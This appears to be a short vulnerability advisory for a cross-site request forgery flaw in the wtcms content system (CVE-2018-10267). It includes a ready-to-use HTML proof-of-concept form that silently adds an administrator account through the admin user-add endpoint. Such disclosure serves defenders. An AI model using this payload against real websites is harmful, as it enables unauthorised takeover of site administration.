#VU21313 Cross-site request forgery in wtcms - CVE-2018-10267
Published: September 24, 2019
wtcms
taosir
Description
The vulnerability allows a remote attacker to perform cross-site request forgery attacks.
The vulnerability exists due to insufficient validation of the HTTP request origin in the "index.php?admin&m=user&a=add_post" URI. A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as add an administrator account.
PoC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://[host]/index.php?g=admin&m=user&a=add_post" method="POST">
<input type="hidden" name="user_login" value="hacker1" />
<input type="hidden" name="user_pass" value="hacker1" />
<input type="hidden" name="user_email" value="123@qq.com" />
<input type="hidden" name="role_id[]" value="2" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>